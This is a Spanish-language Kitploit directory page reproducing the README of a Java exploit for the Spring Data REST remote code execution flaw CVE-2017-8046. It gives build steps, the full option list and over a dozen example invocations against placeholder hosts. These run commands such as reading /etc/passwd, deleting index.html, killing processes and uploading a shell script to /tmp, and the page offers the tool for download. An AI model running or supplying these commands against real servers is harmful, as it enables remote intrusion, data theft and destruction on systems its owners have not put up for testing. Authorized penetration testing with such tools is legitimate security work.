Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

Este es un programa Java que explota la vulnerabilidad Spring Break (CVE-2017-8046).

Ver Repositorio
17111hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

spring-break_cve-2017-8046

Este es un programa Java que explota la vulnerabilidad Spring Break (CVE-2017-8046).

Este software está escrito para tener la menor cantidad de dependencias externas posible.

AVISO LEGAL

Esta herramienta está destinada a ingenieros de seguridad y profesionales de appsec para evaluaciones de seguridad. Úsela de manera responsable. No me hago responsable del uso que cualquier persona haga de esta aplicación. NO soy responsable de los daños causados ni de los delitos cometidos al usar esta herramienta.

Información de la vulnerabilidad

  • CVE-ID: CVE-2017-8046
  • Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • Descripción: Las solicitudes PATCH maliciosas enviadas a servidores spring-data-rest en Pivotal Spring Data REST versiones anteriores a 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versiones anteriores a 2.0.0M4, y los trenes de lanzamiento de Spring Data anteriores a Kay-RC3 pueden usar datos JSON especialmente manipulados para ejecutar código Java arbitrario.
  • Enlace del proveedor: https://pivotal.io/security/cve-2017-8046

Cómo generar un JAR ejecutable

Aquí hay algunos pasos a seguir para generar un JAR ejecutable, con todas las dependencias incluidas, que se pueda utilizar para lanzar el exploit.

con Maven

Se puede ejecutar el siguiente comando Maven:

root@kitploit:~
mvn clean compile package

con Eclipse

Se pueden seguir los siguientes pasos:

  1. resolver todas las dependencias/bibliotecas externas;
  2. haga clic derecho en el proyecto de Eclipse y vaya a Run As > Run Configurations;
  3. haga clic derecho en Java Application luego en New;
  4. elija un nombre y establezca la clase principal en com.afs.exploit.spring.SpringBreakCve20178046;
  5. haga clic en el botón Apply;
  6. cierre la ventana y vuelva a la ventana principal de Eclipse;
  7. haga clic derecho en el proyecto de Eclipse y haga clic en Export...;
  8. busque y elija Runnable JAR file (bajo la rama Java);
  9. en la siguiente ventana:
    1. elija la Launch configuration correcta creada anteriormente;
    2. elija un Export destination;
    3. elija la opción Extract required libraries into generated JAR;
    4. haga clic en el botón Finish.

Ayuda

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

Ejemplos

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

Tenga en cuenta que el recurso/URL referenciado debe existir!

Aplicación vulnerable

Se puede encontrar una aplicación vulnerable aquí.

Autores

  • Antonio Francesco Sardella - implementación principal - m3ssap0
  • Yassine Tioual - mejora de cabeceras HTTP - nisay759
  • Robin Wagenaar - por la sugerencia de usar la operación 'remove' en lugar de 'replace' y por la funcionalidad de carga de archivos - RobinWagenaar

Licencia

Este proyecto está licenciado bajo la Licencia Apache Versión 2.0 - consulte el archivo LICENSE.txt para más detalles.

Agradecimientos

  • Man Yue Mo el investigador de seguridad que descubrió la vulnerabilidad
Descargar herramienta